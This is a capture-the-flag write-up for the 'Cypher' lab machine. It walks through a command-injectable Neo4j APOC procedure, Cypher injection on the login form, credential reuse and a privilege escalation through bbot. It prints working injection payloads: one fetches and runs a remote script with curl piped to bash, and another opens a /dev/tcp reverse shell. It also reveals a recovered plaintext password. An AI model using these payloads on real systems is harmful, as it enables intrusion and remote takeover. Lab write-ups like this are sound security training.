Sum-up


TL;DR

Cypher Machine Link

Target is hosting a Web server using APOC neo4j. Enumeration leads to .JAR archive, revealing source code vulnerable to user input in command execution. Login is susceptible to SQLi, which can be used to call the vulnerable procedure and gain a RCE.

Logged as neo4j, history reveals a password set for the dbms. Reusing password to login as user graphasm which holds user.txt allow for first privilege escalation.

bbob binary is susceptible to root privilege escalation due to use of plugins executing bash as root. Create or retrieve plugin and preset to get root access and flag Cypher.

Vulnerabilities


Flags



Write-up


Nmap scan

JAR exposed


APOC = Awesome Procedures On Cypher

Smells like the challenge core subject as the name suggests Enumeration on burp shows jar file to examine custom-apoc-extension-1.0-SNAPSHOT.jar


JAR on enum downloadable

Unzip the jar, examine in your code editor :

CustomFunctions.class

We need to dig deeper on how APOC and interact with the client but this can be abused. Client has control over partial command execution involving a /bin/sh call


public class CustomFunctions {
   public CustomFunctions() {
   }
 
   @Procedure(
      name = "custom.getUrlStatusCode",
      mode = Mode.READ
   )
   @Description("Returns the HTTP status code for the given URL as a string")
 
//// VULNERABLE
////////////////////////////////////////////////////////////
   public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
      if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
         url = "https://" + url;
      }
 
      String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
      System.out.println("Command: " + Arrays.toString(command));
      Process process = Runtime.getRuntime().exec(command);
////////////////////////////////////////////////////////////
      BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
      BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
      StringBuilder errorOutput = new StringBuilder();
 
      String line;
      while((line = errorReader.readLine()) != null) {
         errorOutput.append(line).append("\n");
      }
 
      String statusCode = inputReader.readLine();
      System.out.println("Status code: " + statusCode);
      boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
      if (!exited) {
         process.destroyForcibly();
         statusCode = "0";
         System.err.println("Process timed out after 10 seconds");
      } else {
         int exitCode = process.exitValue();
         if (exitCode != 0) {
            statusCode = "0";
            System.err.println("Process exited with code " + exitCode);
         }
      }
 
      if (errorOutput.length() > 0) {
         System.err.println("Error output:\n" + errorOutput.toString());
      }
 
      return Stream.of(new StringOutput(statusCode));
   }
}
 

First vulnerabilities

  1. Certain : Exposure of sensitive content (Sensitive Data Exposure) and knowledge of sensitive server behavior.
  2. Proof of Concept necessary : Vulnerable code potentially leading to Remote Code Execution. Here the getUrlStatusCode method takes user input without filtering, input it a command execution.

Neo4J version is 5.23.0 according to the pom file No public vulnerabilities.

“Free Demo” leads to /api/demo/ 404

source-code first page : TheFunky1 (Login credential first part ?)

Intruder with password wordlist fixed user showed no results on login.

SQLi on login


SQLMap on login page returns 400 error

SNIP

Replay injection on burp and trigger an error message :

HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 16 Jun 2025 09:14:01 GMT
Content-Length: 3502
Connection: keep-alive
 
Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 69 (offset: 68))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' or "1"=1 -- -' return h.value as hash"
                                                                     ^}
 
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "/app/app.py", line 165, in login
    creds_valid = verify_creds(username, password)
  File "/app/app.py", line 151, in verify_creds
    raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' or "1"=1 -- -' return h.value as hash: Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 69 (offset: 68))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' or "1"=1 -- -' return h.value as hash"
                                                                     ^}

Check for info on Cypher and Neo4j :

  1. https://pentester.land/blog/Pictures/cypher-injection-cheatsheet/
  2. https://pentester.land/blog/conf-notes-Pictures/cypher-query-injection/

Trial and Error, verbose output


Each research gets us closer to a working payload :

Understand Neo4J database requirements

Reminder of the UNION constraint for SQLis

Trying to call bash directly gives me a permission denied, so I had to use curl again to get the shell and pipe it properly.

Here is the final payload with a simple rev_shell from a python http server :

Remote Command Execution on SQLi

' return h.value as hash UNION CALL custom.getUrlStatusCode(\"trone ; curl http://10.10.14.15:7777\/rev_shell.sh |bash\") YIELD statusCode return statusCode as hash // yeye

Edit : retried upon writing up properly and both are working, idk what happened previously. Although this request leave the server in a hanging state waiting to send the response.

' return h.value as hash UNION CALL custom.getUrlStatusCode(\"hey ; bash -c \'bash -i >& /dev/tcp/{HOST IP}/{HOST PORT} 0>&1' \") YIELD statusCode return statusCode as hash //"

Connected as neo4j


History gives us credentials : we have ssh over neo4j\@cypher.htb if password cU4btyib.20xtCMCXkBmerhK is the same … which is not.

BUT you should try password on every account available, otherwise you might miss that you can ssh to graphasm with this password (I had to get back on it later to think about it, lesson learned 🤡)

From graphasm to root with bbot


Immediate lookup on bbot and what it does : https://github.com/blacklanternsecurity/bbot https://seclists.org/fulldisclosure/2025/Apr/19 https://github.com/Housma/bbot-privesc

Looks like bbot is exploitable, let’s retrieve the plugin calling a bash as root and get our privesc.

Solved !